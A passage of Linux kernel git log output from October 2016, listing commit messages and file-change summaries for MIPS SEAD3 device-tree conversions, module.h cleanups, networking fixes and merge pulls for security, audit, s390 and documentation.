Yotam Gigi Acked-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/switchx2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit feb7d387a6cf6c1ec66d4a2b6d4b2cc52309876e Author: Yotam Gigi Date: Tue Oct 4 09:46:04 2016 +0200 mlxsw: spectrum: Fix misuse of hard_header_len In order to specify that the mlxsw spectrum driver needs additional headroom for packets, there have been use of the hard_header_len field of the netdevice struct. This commit changes that to use needed_headroom instead, as this is the correct way to do that. Fixes: 56ade8fe3fe1 ("mlxsw: spectrum: Add initial support for Spectrum ASIC") Signed-off-by: Yotam Gigi Acked-by: Ido Schimmel Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlxsw/spectrum.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ebf8b42b1f6da380f70990234c119f4d63905c9 Merge: 9a8dd21 1e1430d Author: David S. Miller Date: Tue Oct 4 20:14:07 2016 -0400 Merge tag 'mac80211-next-for-davem-2016-10-04' of git://git.kernel.org/pub/scm/linux/kernel/git/jberg/mac80211-next Johannes Berg says: ==================== This time around, we have * Neighbor Awareness Networking (NAN) APIs * a fix for a previous patch that caused memory corruption in wireless extensions key settings * beacon rate configuration for AP and mesh * memory limits for mac80211's internal TXQs * a (fairly involved) fix for the TXQ vs. crypto problems * direct cfg80211 driver API for WEP keys This also pulls in net-next to fix the merge conflicts, see the merge commit for more details. ==================== Signed-off-by: David S. Miller commit fd4d740427080f67c52e16d4fa639b30ccf1ccde Author: Paul Burton Date: Fri Aug 26 15:17:45 2016 +0100 MIPS: SEAD3: Parse memsize in DT shim Parse the memsize argument provided by the bootloader in the DT shim code, allowing the user to override it on the command line. This places all of the DT manipulation code into sead3-dtshim.c. Signed-off-by: Paul Burton Cc: Matt Redfearn Cc: Rob Herring Cc: Kefeng Wang Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14058/ Signed-off-by: Ralf Baechle arch/mips/mti-sead3/sead3-dtshim.c | 71 ++++++++++++++++++++++++++++++++++++++ arch/mips/mti-sead3/sead3-setup.c | 66 ----------------------------------- 2 files changed, 71 insertions(+), 66 deletions(-) commit a1ec6003f21547199f57ab529d0eff742917d637 Author: Paul Burton Date: Fri Aug 26 15:17:44 2016 +0100 MIPS: SEAD3: Use generic restart-poweroff driver Remove the custom platform code to restart when instructed to power off, instead relying upon the generic restart-poweroff driver probed via DT to do the same thing. Remove also the halt implementation, which is incorrect. The generic MIPS version will hang the system as halt should. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14057/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 4 ++++ arch/mips/configs/sead3_defconfig | 1 + arch/mips/mti-sead3/Makefile | 1 - arch/mips/mti-sead3/sead3-reset.c | 31 ------------------------------- 4 files changed, 5 insertions(+), 32 deletions(-) commit 70bfdcec9ad9bcd3217f85fd422012777d86e168 Author: Paul Burton Date: Fri Aug 26 15:17:43 2016 +0100 MIPS: SEAD3: Reset via generic syscon-reboot driver & DT Remove the SEAD3 implementation of _machine_restart & instead make use of the generic syscon-reboot driver probed via device tree. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14056/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 12 ++++++++++++ arch/mips/configs/sead3_defconfig | 3 ++- arch/mips/mti-sead3/sead3-reset.c | 9 --------- 3 files changed, 14 insertions(+), 10 deletions(-) commit c764583f40b8d3cde3a3a0b4a40a7d2fa3987bed Author: Paul Burton Date: Fri Aug 26 15:17:41 2016 +0100 MIPS: SEAD3: Use register-bit-led driver via DT for LEDs Probe a driver for the PLED & FLED LEDs found on the SEAD3 board using the register-bit-led driver via device tree, rather than a custom driver via platform code. Enable support for the register-bit-led driver & its prerequisite syscon in sead3_defconfig. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14054/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 103 +++++++++++++++++++++++++++++++++++ arch/mips/configs/sead3_defconfig | 2 + arch/mips/mti-sead3/Makefile | 1 - arch/mips/mti-sead3/sead3-platform.c | 91 ------------------------------- 4 files changed, 105 insertions(+), 92 deletions(-) commit 3aefc6554ad95f64de5ab384a959f96eb188f273 Author: Paul Burton Date: Fri Aug 26 15:17:40 2016 +0100 MIPS: SEAD3: Probe parallel flash via DT Probe the system parallel flash using device tree rather than platform code, in order to reduce the amount of the latter. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14053/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 24 +++++++++++++++++++++++ arch/mips/mti-sead3/sead3-platform.c | 37 ------------------------------------ 2 files changed, 24 insertions(+), 37 deletions(-) commit 63c8d90ca967c7e87006dbd363a8724ba31f1b57 Author: Paul Burton Date: Fri Aug 26 15:17:39 2016 +0100 USB: host: ehci-sead3: Remove SEAD-3 EHCI code The SEAD-3 board is now probing its EHCI controller using the generic EHCI driver & its generic-ehci device tree binding. Remove the unused SEAD-3 specific EHCI code. Signed-off-by: Paul Burton Acked-by: Alan Stern Cc: Greg Kroah-Hartman Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Cc: linux-usb@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14052/ Signed-off-by: Ralf Baechle drivers/usb/host/ehci-hcd.c | 5 -- drivers/usb/host/ehci-sead3.c | 185 ------------------------------------------ 2 files changed, 190 deletions(-) commit 7afd2a5aec2ea27ba87b3a423c5d782fe0f2b96b Author: Paul Burton Date: Fri Aug 26 15:17:38 2016 +0100 MIPS: SEAD3: Probe EHCI controller using DT Probe the SEAD3 EHCI controller using the generic-ehci driver & device tree rather than platform code, in order to reduce the amount of the latter. Now that no devices probed from platform code require interrupts, remove the retrieval of the IRQ domain & sead3int.h. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14051/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 9 +++++ arch/mips/include/asm/mips-boards/sead3int.h | 21 ---------- arch/mips/mti-sead3/sead3-dtshim.c | 15 ++++++- arch/mips/mti-sead3/sead3-platform.c | 59 ---------------------------- 4 files changed, 23 insertions(+), 81 deletions(-) commit a34e93882de4e50e349d2d23b20dde5257d42f94 Author: Paul Burton Date: Fri Aug 26 15:17:37 2016 +0100 MIPS: SEAD3: Probe ethernet controller using DT Probe the smsc911x ethernet controller using device tree rather than platform code, reducing the amount of the latter. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14050/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 12 ++++++++++ arch/mips/include/asm/mips-boards/sead3int.h | 2 -- arch/mips/mti-sead3/sead3-dtshim.c | 15 ++++++++++++- arch/mips/mti-sead3/sead3-platform.c | 33 ---------------------------- 4 files changed, 26 insertions(+), 36 deletions(-) commit 53f37d1d306927d21e0256fe6c48fa517d889cf7 Author: Paul Burton Date: Fri Aug 26 15:17:36 2016 +0100 MIPS: SEAD3: Use generic ns16550a earlycon support Stop selecting SYS_HAS_EARLY_PRINTK & remove the custom support for early output to the ns16550a UARTs, instead relying upon generic ns16550a earlycon support. This reduces the amount of platform code required for SEAD3 without losing any functionality. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14049/ Signed-off-by: Ralf Baechle arch/mips/Kconfig | 1 - arch/mips/configs/sead3_defconfig | 2 ++ arch/mips/mti-sead3/Makefile | 2 -- arch/mips/mti-sead3/sead3-console.c | 46 ------------------------------------- arch/mips/mti-sead3/sead3-init.c | 6 ----- 5 files changed, 2 insertions(+), 55 deletions(-) commit c11e3b48dbc367e38dfaea6e8a61d3b39f476685 Author: Paul Burton Date: Fri Aug 26 15:17:35 2016 +0100 MIPS: SEAD3: Probe UARTs using DT Probe the UARTs on SEAD3 boards using device tree rather than platform code, in order to reduce the amount of the latter. This requires that CONFIG_SERIAL_OF_PLATFORM be enabled, so enable it in sead3_defconfig. The SEAD3 DT shim code is extended to read bootloader environment variables to determine the appropriate UART & mode for kernel console output & set the stdout-path property of the chosen node accordingly. In contrast to the old platform code, which appears to have only ever set "console=ttyS0,38400n8r" with the code in console_config never having an effect, this will honor the "yamontty" environment variable to select between the 2 UARTs on the board and then check the "modetty0" or "modetty1" variable as appropriate to determine the UART configuration. Signed-off-by: Paul Burton Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14048/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 37 ++++++++++ arch/mips/configs/sead3_defconfig | 2 + arch/mips/include/asm/mips-boards/sead3int.h | 4 - arch/mips/mti-sead3/sead3-dtshim.c | 105 ++++++++++++++++++++++++++- arch/mips/mti-sead3/sead3-init.c | 46 ------------ arch/mips/mti-sead3/sead3-platform.c | 30 -------- 6 files changed, 143 insertions(+), 81 deletions(-) commit b6d5e47e67292542a41c3fe367bacb364eb4e601 Author: Paul Burton Date: Fri Aug 26 15:17:34 2016 +0100 MIPS: SEAD3: Probe interrupt controllers using DT Probe the CPU interrupt controller & optional Global Interrupt Controller (GIC) using devicetree rather than platform code. Because the bootloader on SEAD3 does not provide a device tree to the kernel & the device tree is always built in, we patch out the GIC node during boot if we detect that a GIC is not present in the system. The appropriate IRQ domain is discovered by platform code setting up device IRQ numbers temporarily. It will be removed by further patches which move the devices towards being probed via device tree. No behavioural change is intended by this patch. Signed-off-by: Paul Burton Cc: Matt Redfearn Cc: Kefeng Wang Cc: Jacek Anaszewski Cc: Rob Herring Cc: Mark Rutland Cc: linux-mips@linux-mips.org Cc: devicetree@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14047/ Signed-off-by: Ralf Baechle arch/mips/boot/dts/mti/sead3.dts | 31 +++++++++ arch/mips/include/asm/mach-sead3/sead3-dtshim.h | 29 ++++++++ arch/mips/include/asm/mips-boards/sead3int.h | 5 -- arch/mips/mti-sead3/Makefile | 1 + arch/mips/mti-sead3/sead3-dtshim.c | 92 +++++++++++++++++++++++++ arch/mips/mti-sead3/sead3-int.c | 27 ++------ arch/mips/mti-sead3/sead3-platform.c | 43 +++++++++--- arch/mips/mti-sead3/sead3-setup.c | 13 ++-- 8 files changed, 197 insertions(+), 44 deletions(-) commit 0a15273666aa18a45985e6419afa05ec24ecfeb4 Author: Paul Burton Date: Fri Aug 26 15:17:33 2016 +0100 MIPS: SEAD3: Split obj-y entries across lines Split the obj-y entries for SEAD3 onto a line each, so that they're more independent & can be modified more clearly by later commits. Signed-off-by: Paul Burton Cc: Jacek Anaszewski Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14046/ Signed-off-by: Ralf Baechle arch/mips/mti-sead3/Makefile | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit ba7505022c8b7c7366b905262631b293ac60c863 Author: Paul Burton Date: Wed Sep 14 11:00:27 2016 +0100 MIPS: pm-cps: Generate idle state entry code when CPUs are onlined The MIPS Coherent Processing System (CPS) power management code has previously generated code used to enter low power idle states once during boot for all CPUs. This has the drawback that if a CPU is present in the system but not being used (for example due to the maxcpus kernel parameter) then we encounter problems due to not having probed that CPU for information about its type & properties. The result of this is that we generate entry code which is both unused, potentially entirely invalid & likely to be unsuitable for the CPU in question anyway. Avoid this by generating idle state entry code only when a CPU is brought online. This way we only ever generate code for CPUs that we know we've probed the properties of, and that will actually be used. [ralf@linux-mips.org: Resolve merge conflict.] Signed-off-by: Paul Burton Cc: Adam Buchbinder Cc: Masahiro Yamada Cc: Markos Chandras Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14259/ Signed-off-by: Ralf Baechle arch/mips/kernel/pm-cps.c | 45 +++++++++++++++++++-------------------------- 1 file changed, 19 insertions(+), 26 deletions(-) commit cd14c92bbd095fdc2d0b78f7dac920769ff06a9f Author: Paul Gortmaker Date: Sun Aug 21 15:58:17 2016 -0400 MIPS: kvm: Audit and remove any unnecessary uses of module.h Historically a lot of these existed because we did not have a distinction between what was modular code and what was providing support to modules via EXPORT_SYMBOL and friends. That changed when we forked out support for the latter into the export.h file. This means we should be able to reduce the usage of module.h in code that is obj-y Makefile or bool Kconfig. In the case of kvm where it is modular, we can extend that to also include files that are building basic support functionality but not related to loading or registering the final module; such files also have no need whatsoever for module.h The advantage in removing such instances is that module.h itself sources about 15 other headers; adding significantly to what we feed cpp, and it can obscure what headers we are effectively using. Since module.h was the source for init.h (for __init) and for export.h (for EXPORT_SYMBOL) we consider each instance for the presence of either and replace as needed. In this case, we did not need to add either to any files. Signed-off-by: Paul Gortmaker Acked-by: James Hogan Acked-by: Paolo Bonzini Cc: "Radim Krčmář" Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14036/ Signed-off-by: Ralf Baechle arch/mips/kvm/commpage.c | 1 - arch/mips/kvm/dyntrans.c | 1 - arch/mips/kvm/emulate.c | 1 - arch/mips/kvm/interrupt.c | 1 - arch/mips/kvm/trap_emul.c | 1 - 5 files changed, 5 deletions(-) commit 2722090af4f8988ecce1b22c667fa03ee0f473ca Author: Paul Gortmaker Date: Sun Aug 21 15:58:16 2016 -0400 MIPS: pci: Audit and remove any unnecessary uses of module.h Historically a lot of these existed because we did not have a distinction between what was modular code and what was providing support to modules via EXPORT_SYMBOL and friends. That changed when we forked out support for the latter into the export.h file. This means we should be able to reduce the usage of module.h in code that is obj-y Makefile or bool Kconfig. The advantage in doing so is that module.h itself sources about 15 other headers; adding significantly to what we feed cpp, and it can obscure what headers we are effectively using. Since module.h was the source for init.h (for __init) and for export.h (for EXPORT_SYMBOL) we consider each obj-y/bool instance for the presence of either and replace as needed. We also needed to remove the no-op MODULE_DEVICE_TABLE usage in several instances to permit removal of the module.h include. The files in these instances were all controlled by bool Kconfig. In one instance, module_param was being used so we transition the module.h include onto a moduleparam.h include. Signed-off-by: Paul Gortmaker Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14035/ Signed-off-by: Ralf Baechle arch/mips/pci/pci-ar71xx.c | 2 +- arch/mips/pci/pci-ar724x.c | 2 +- arch/mips/pci/pci-lantiq.c | 2 -- arch/mips/pci/pci-mt7620.c | 2 -- arch/mips/pci/pci-rt2880.c | 2 -- arch/mips/pci/pci-rt3883.c | 2 -- arch/mips/pci/pcie-octeon.c | 2 +- 7 files changed, 3 insertions(+), 11 deletions(-) commit 527581b9cf6ec560502eea91a82f511a2db77cde Author: Paul Gortmaker Date: Sun Aug 21 15:58:15 2016 -0400 MIPS: lib: Audit and remove any unnecessary uses of module.h Historically a lot of these existed because we did not have a distinction between what was modular code and what was providing support to modules via EXPORT_SYMBOL and friends. That changed when we forked out support for the latter into the export.h file. This means we should be able to reduce the usage of module.h in code that is obj-y Makefile or bool Kconfig. The advantage in doing so is that module.h itself sources about 15 other headers; adding significantly to what we feed cpp, and it can obscure what headers we are effectively using. Since module.h was the source for init.h (for __init) and for export.h (for EXPORT_SYMBOL) we consider each obj-y/bool instance for the presence of either and replace as needed. The compiler.h additions are for an implict presence of the "notrace" which module.h brought in but export.h does not. Signed-off-by: Paul Gortmaker Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14034/ Signed-off-by: Ralf Baechle arch/mips/lib/ashldi3.c | 2 +- arch/mips/lib/ashrdi3.c | 2 +- arch/mips/lib/bswapdi.c | 3 ++- arch/mips/lib/bswapsi.c | 3 ++- arch/mips/lib/cmpdi2.c | 2 +- arch/mips/lib/delay.c | 2 +- arch/mips/lib/iomap-pci.c | 2 +- arch/mips/lib/iomap.c | 2 +- arch/mips/lib/lshrdi3.c | 2 +- arch/mips/lib/ucmpdi2.c | 2 +- 10 files changed, 12 insertions(+), 10 deletions(-) commit d9ba57780637bfde6ac1efb65a8685231ffbc715 Author: Paul Gortmaker Date: Sun Aug 21 15:58:14 2016 -0400 MIPS: mm: Audit and remove any unnecessary uses of module.h Historically a lot of these existed because we did not have a distinction between what was modular code and what was providing support to modules via EXPORT_SYMBOL and friends. That changed when we forked out support for the latter into the export.h file. This means we should be able to reduce the usage of module.h in code that is obj-y Makefile or bool Kconfig. The advantage in doing so is that module.h itself sources about 15 other headers; adding significantly to what we feed cpp, and it can obscure what headers we are effectively using. Since module.h was the source for init.h (for __init) and for export.h (for EXPORT_SYMBOL) we consider each obj-y/bool instance for the presence of either and replace as needed. Signed-off-by: Paul Gortmaker Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14033/ Signed-off-by: Ralf Baechle arch/mips/mm/c-r4k.c | 2 +- arch/mips/mm/cache.c | 2 +- arch/mips/mm/dma-default.c | 2 +- arch/mips/mm/fault.c | 1 - arch/mips/mm/highmem.c | 3 ++- arch/mips/mm/init.c | 2 +- arch/mips/mm/ioremap.c | 2 +- arch/mips/mm/mmap.c | 2 +- arch/mips/mm/page.c | 1 - arch/mips/mm/tlb-r4k.c | 2 +- 10 files changed, 9 insertions(+), 10 deletions(-) commit d9d5417755eda87db8e370e4dd2175fbd8814acc Author: Paul Gortmaker Date: Sun Aug 21 15:58:13 2016 -0400 MIPS: kernel: Audit and remove any unnecessary uses of module.h Historically a lot of these existed because we did not have a distinction between what was modular code and what was providing support to modules via EXPORT_SYMBOL and friends. That changed when we forked out support for the latter into the export.h file. This means we should be able to reduce the usage of module.h in code that is obj-y Makefile or bool Kconfig. The advantage in doing so is that module.h itself sources about 15 other headers; adding significantly to what we feed cpp, and it can obscure what headers we are effectively using. Since module.h was the source for init.h (for __init) and for export.h (for EXPORT_SYMBOL) we consider each obj-y/bool instance for the presence of either and replace as needed. In the case of the n32/o32 files, we have to get rid of a couple no-op MODULE_ tags to facilitate the module.h removal. They piggy back off the fs/ elf binary support, which is also a bool Kconfig. Signed-off-by: Paul Gortmaker Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14032/ Signed-off-by: Ralf Baechle arch/mips/kernel/binfmt_elfn32.c | 8 +------- arch/mips/kernel/binfmt_elfo32.c | 8 +------- arch/mips/kernel/branch.c | 2 +- arch/mips/kernel/linux32.c | 1 - arch/mips/kernel/mips-r2-to-r6-emul.c | 1 - arch/mips/kernel/smp.c | 2 +- 6 files changed, 4 insertions(+), 18 deletions(-) commit 74abd4e9b100d68a9114c845c6c5b70aa8e4e52e Author: Ralf Baechle Date: Mon Sep 26 11:34:24 2016 +0200 mailmap: Canonicalize to Qais' current email address. Signed-off-by: Ralf Baechle .mailmap | 1 + 1 file changed, 1 insertion(+) commit 7688c5391038e60377275f078e6d7043dc115efc Author: Matt Redfearn Date: Tue Sep 20 09:47:26 2016 +0100 MIPS: smp.c: Introduce mechanism for freeing and allocating IPIs For the MIPS remote processor implementation, we need additional IPIs to talk to the remote processor. Since MIPS GIC reserves exactly the right number of IPI IRQs required by Linux for the number of VPs in the system, this is not possible without releasing some recources. This commit introduces mips_smp_ipi_allocate() which allocates IPIs to a given cpumask. It is called as normal with the cpu_possible_mask at bootup to initialise IPIs to all CPUs. mips_smp_ipi_free() may then be used to free IPIs to a subset of those CPUs so that their hardware resources can be reused. Signed-off-by: Matt Redfearn Cc: Bjorn Andersson Cc: Ohad Ben-Cohen Cc: Thomas Gleixner Cc: Lisa Parratt Cc: James Hogan Cc: Qais Yousef Cc: Paul Burton Cc: linux-mips@linux-mips.org Cc: linux-remoteproc@vger.kernel.org Cc: lisa.parratt@imgtec.com Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14285/ Signed-off-by: Ralf Baechle arch/mips/include/asm/smp.h | 14 +++++++++++ arch/mips/kernel/smp.c | 61 +++++++++++++++++++++++++++++++++++++++------ 2 files changed, 67 insertions(+), 8 deletions(-) commit e710d6668309d227cc7a46e9c222d97d4a502b9e Author: Matt Redfearn Date: Tue Sep 20 09:47:25 2016 +0100 MIPS: tlb-r4k: If there are wired entries, don't use TLBINVF When adding a wired entry to the TLB via add_wired_entry, the tlb is flushed with local_flush_tlb_all, which on CPUs with TLBINV results in the new wired entry being flushed again. Behavior of the TLBINV instruction applies to all applicable TLB entries and is unaffected by the setting of the Wired register. Therefore if the TLB has any wired entries, fall back to iterating over the entries rather than blasting them all using TLBINVF. Signed-off-by: Matt Redfearn Cc: Bjorn Andersson Cc: Ohad Ben-Cohen Cc: Thomas Gleixner Cc: lisa.parratt@imgtec.com Cc: Hugh Dickins Cc: Huacai Chen Cc: David S. Miller Cc: James Hogan Cc: Paul Burton Cc: Andrew Morton Cc: linux-mips@linux-mips.org Cc: linux-remoteproc@vger.kernel.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14283/ Signed-off-by: Ralf Baechle arch/mips/mm/tlb-r4k.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit b2ff71718e6025fed33a693a1772e2ed39f25d6c Author: James Hogan Date: Thu Sep 1 17:30:15 2016 +0100 MIPS: c-r4k: Fix flush_icache_range() for EVA flush_icache_range() flushes icache lines in a protected fashion for kernel addresses, however this isn't correct with EVA where protected cache ops only operate on user addresses, making flush_icache_range() ineffective. Split the implementations of __flush_icache_user_range() from flush_icache_range(), changing the normal flush_icache_range() to use unprotected normal cache ops. Signed-off-by: James Hogan Cc: Leonid Yegoshin Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/14156/ Signed-off-by: Ralf Baechle arch/mips/mm/c-r4k.c | 43 +++++++++++++++++++++++++++++++++++-------- 1 file changed, 35 insertions(+), 8 deletions(-) commit 24d1a6e63e8f4045551f4dce3d75724f765c5069 Author: James Hogan Date: Thu Sep 1 17:30:14 2016 +0100 MIPS: KVM: Use __local_flush_icache_user_range() Convert KVM dynamic translation of guest instructions to flush icache for guest mapped addresses using the new __local_flush_icache_user_range() API to allow the more generic flush_icache_range() to be changed to work on kernel addresses only. Signed-off-by: James Hogan Cc: Ralf Baechle Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/14155/ Signed-off-by: Ralf Baechle arch/mips/kvm/dyntrans.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit a3443cda5588985a2724d6d0f4a5f04e625be6eb Merge: 3cd013a 1306d8e Author: Linus Torvalds Date: Tue Oct 4 14:48:27 2016 -0700 Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull security subsystem updates from James Morris: SELinux/LSM: - overlayfs support, necessary for container filesystems LSM: - finally remove the kernel_module_from_file hook Smack: - treat signal delivery as an 'append' operation TPM: - lots of bugfixes & updates Audit: - new audit data type: LSM_AUDIT_DATA_FILE * 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: (47 commits) Revert "tpm/tpm_crb: implement tpm crb idle state" Revert "tmp/tpm_crb: fix Intel PTT hw bug during idle state" Revert "tpm/tpm_crb: open code the crb_init into acpi_add" Revert "tmp/tpm_crb: implement runtime pm for tpm_crb" lsm,audit,selinux: Introduce a new audit data type LSM_AUDIT_DATA_FILE tmp/tpm_crb: implement runtime pm for tpm_crb tpm/tpm_crb: open code the crb_init into acpi_add tmp/tpm_crb: fix Intel PTT hw bug during idle state tpm/tpm_crb: implement tpm crb idle state tpm: add check for minimum buffer size in tpm_transmit() tpm: constify TPM 1.x header structures tpm/tpm_crb: fix the over 80 characters checkpatch warring tpm/tpm_crb: drop useless cpu_to_le32 when writing to registers tpm/tpm_crb: cache cmd_size register value. tmp/tpm_crb: drop include to platform_device tpm/tpm_tis: remove unused itpm variable tpm_crb: fix incorrect values of cmdReady and goIdle bits tpm_crb: refine the naming of constants tpm_crb: remove wmb()'s tpm_crb: fix crb_req_canceled behavior ... commit 3cd013ab79e8e5c58fbd50fc09fceb6260a92a68 Merge: e46cae4 7ff89ac Author: Linus Torvalds Date: Tue Oct 4 14:21:41 2016 -0700 Merge branch 'stable-4.9' of git://git.infradead.org/users/pcmoore/audit Pull audit updates from Paul Moore: "Another relatively small pull request for v4.9 with just two patches. The patch from Richard updates the list of features we support and report back to userspace; this should have been sent earlier with the rest of the v4.8 patches but it got lost in my inbox. The second patch fixes a problem reported by our Android friends where we weren't very consistent in recording PIDs" * 'stable-4.9' of git://git.infradead.org/users/pcmoore/audit: audit: add exclude filter extension to feature bitmap audit: consistently record PIDs with task_tgid_nr() commit ea908ba8f73446dfbf87ff71f7cadb1994d2c5bb Author: Russell King Date: Tue Oct 4 22:19:57 2016 +0100 drm/armada: fix clock counts The DPMS handling wrt clock enables/disables was incorrect: we could end up decrementing the clock count multiple times if we transition via several low-power DPMS states, resulting in a kernel warning. Fix this by only testing to see whether we are entering or exiting the DPMS off state. Signed-off-by: Russell King drivers/gpu/drm/armada/armada_crtc.c | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) commit e46cae441824999c858d482ca1f661cf4292c02f Merge: 02bafd9 6cd997d Author: Linus Torvalds Date: Tue Oct 4 14:05:52 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux Pull s390 updates from Martin Schwidefsky: "The new features and main improvements in this merge for v4.9 - Support for the UBSAN sanitizer - Set HAVE_EFFICIENT_UNALIGNED_ACCESS, it improves the code in some places - Improvements for the in-kernel fpu code, in particular the overhead for multiple consecutive in kernel fpu users is recuded - Add a SIMD implementation for the RAID6 gen and xor operations - Add RAID6 recovery based on the XC instruction - The PCI DMA flush logic has been improved to increase the speed of the map / unmap operations - The time synchronization code has seen some updates And bug fixes all over the place" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/s390/linux: (48 commits) s390/con3270: fix insufficient space padding s390/con3270: fix use of uninitialised data MAINTAINERS: update DASD maintainer s390/cio: fix accidental interrupt enabling during resume s390/dasd: add missing \n to end of dev_err messages s390/config: Enable config options for Docker s390/dasd: make query host access interruptible s390/dasd: fix panic during offline processing s390/dasd: fix hanging offline processing s390/pci_dma: improve lazy flush for unmap s390/pci_dma: split dma_update_trans s390/pci_dma: improve map_sg s390/pci_dma: simplify dma address calculation s390/pci_dma: remove dma address range check iommu/s390: simplify registration of I/O address translation parameters s390: migrate exception table users off module.h and onto extable.h s390: export header for CLP ioctl s390/vmur: fix irq pointer dereference in int handler s390/dasd: add missing KOBJ_CHANGE event for unformatted devices s390: enable UBSAN ... commit 02bafd96f3a5d8e610b19033ffec55b92459aaae Merge: 2105b9f 3c76ff47 Author: Linus Torvalds Date: Tue Oct 4 13:54:07 2016 -0700 Merge tag 'docs-4.9' of git://git.lwn.net/linux Pull documentation updates from Jonathan Corbet: "This is the documentation update pull for the 4.9 merge window. The Sphinx transition is still creating a fair amount of work. Here we have a number of fixes and, importantly, a proper PDF output solution, thanks to Jani Nikula, Mauro Carvalho Chehab and Markus Heiser. I've started a couple of new books: a driver API book (based on the old device-drivers.tmpl) and a development tools book. Both are meant to show how we can integrate together our existing documentation into a more coherent and accessible whole. It involves moving some stuff around and formatting changes, but, I think, the results are worth it. The good news is that most of our existing Documentation/*.txt files are *almost* in RST format already; the amount of messing around required is minimal. And, of course, there's the usual set of updates, typo fixes, and more" * tag 'docs-4.9' of git://git.lwn.net/linux: (120 commits) URL changed for Linux Foundation TAB dax : Fix documentation with respect to struct pages iio: Documentation: Correct the path used to create triggers. docs: Remove space-before-label guidance from CodingStyle docs-rst: add inter-document cross references Documentation/email-clients.txt: convert it to ReST markup Documentation/kernel-docs.txt: reorder based on timestamp Documentation/kernel-docs.txt: Add dates for online docs Documentation/kernel-docs.txt: get rid of broken docs Documentation/kernel-docs.txt: move in-kernel docs Documentation/kernel-docs.txt: remove more legacy references Documentation/kernel-docs.txt: add two published books Documentation/kernel-docs.txt: sort books per publication date Documentation/kernel-docs.txt: adjust LDD references Documentation/kernel-docs.txt: some improvements on the ReST output Documentation/kernel-docs.txt: Consistent indenting: 4 spaces Documentation/kernel-docs.txt: Add 4 paper/book references Documentation/kernel-docs.txt: Improve layouting of book list Documentation/kernel-docs.txt: Remove offline or outdated entries docs: Clean up bare :: lines ... commit 2105b9ff733c5e5ab3e0481f1c953ac3f7d7c44a Merge: 5fdf493 240c518 Author: Linus Torvalds Date: 